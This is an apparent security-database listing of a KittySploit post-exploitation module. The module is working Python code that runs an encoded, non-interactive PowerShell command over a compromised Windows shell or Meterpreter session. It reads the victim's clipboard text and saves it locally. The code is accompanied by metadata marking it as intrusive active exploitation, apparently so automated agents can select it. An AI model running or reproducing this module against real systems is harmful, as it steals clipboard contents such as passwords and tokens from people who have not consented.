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Windows Gather Clipboard

🗓️ 26 Jun 2026 08:41:24Reported by KittySploitType 
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Read the current clipboard text from an interactive desktop session on Windows.

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Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
Read the current Windows clipboard text from an interactive user session.
"""

from kittysploit import *
from lib.post.windows.session import win_compat_failure_type, win_probe_powershell
import base64
import os
import re
import time

_LOCAL_OUT = "output"


class Module(Post):
    __info__ = {
        "name": "Windows Gather Clipboard",
        "description": (
            "Read the current clipboard text from the interactive desktop session "
            "on a Windows shell or Meterpreter session."
        ),
        "author": "KittySploit Team",
        "platform": Platform.WINDOWS,
        "session_type": [SessionType.METERPRETER, SessionType.SHELL],
        "references": [
            "https://attack.mitre.org/techniques/T1115/"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }

    save_local = OptBool(True, "Save clipboard text under ./output", False)

    def _execute_cmd(self, command: str) -> str:
        if not command:
            return ""
        output = self.cmd_execute(command)
        return output.strip() if output else ""

    def _encode_powershell(self, script: str) -> str:
        return base64.b64encode(script.encode("utf-16le")).decode("ascii")

    def _run_powershell(self, script: str) -> str:
        encoded = self._encode_powershell(script)
        return self._execute_cmd(f"powershell -NoP -NonI -EncodedCommand {encoded}")

    def _bool_opt(self, val, default=False) -> bool:
        if val is None:
            return default
        if isinstance(val, bool):
            return val
        return str(val).strip().lower() in ("1", "true", "yes", "on")

    def _powershell_script(self) -> str:
        return r"""
$ErrorActionPreference = 'Stop'
Add-Type -AssemblyName System.Windows.Forms

$text = $null
if (Get-Command Get-Clipboard -ErrorAction SilentlyContinue) {
  $text = Get-Clipboard -Raw -ErrorAction SilentlyContinue
}
if ([string]::IsNullOrEmpty($text)) {
  if ([System.Windows.Forms.Clipboard]::ContainsText()) {
    $text = [System.Windows.Forms.Clipboard]::GetText()
  }
}

if ([string]::IsNullOrEmpty($text)) {
  Write-Output 'Clipboard is empty or not accessible (interactive desktop session required).'
} else {
  Write-Output "=== Clipboard text ($($text.Length) chars) ==="
  Write-Output $text
}
"""

    def check(self):
        if not win_probe_powershell(self._execute_cmd):
            print_error("PowerShell is not available on the target")
            return False
        print_warning("Requires an interactive desktop session (may fail in Session 0)")
        return True

    def _save_output(self, content: str) -> str:
        os.makedirs(_LOCAL_OUT, exist_ok=True)
        stamp = time.strftime("%Y%m%d_%H%M%S")
        local_path = os.path.join(_LOCAL_OUT, f"clipboard_{stamp}.txt")
        with open(local_path, "w", encoding="utf-8", errors="replace") as f:
            f.write(content)
        return local_path

    def run(self):
        if not self.check():
            raise ProcedureError(win_compat_failure_type(), "PowerShell is not available on the target")

        print_status("Reading clipboard contents...")
        result = self._run_powershell(self._powershell_script())

        if not result:
            raise ProcedureError(FailureType.Unknown, "No output was returned")

        if re.search(r"Clipboard is empty or not accessible", result, re.I):
            print_warning(result)
            return True

        if self._bool_opt(self.save_local, True):
            local_path = self._save_output(result + "\n")
            print_success(f"Clipboard saved to ./{local_path}")

        print_success("Clipboard capture completed")
        print_info(result)
        return True

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02 Aug 2026 20:51Current
5.9Medium risk
Vulners AI Score5.9
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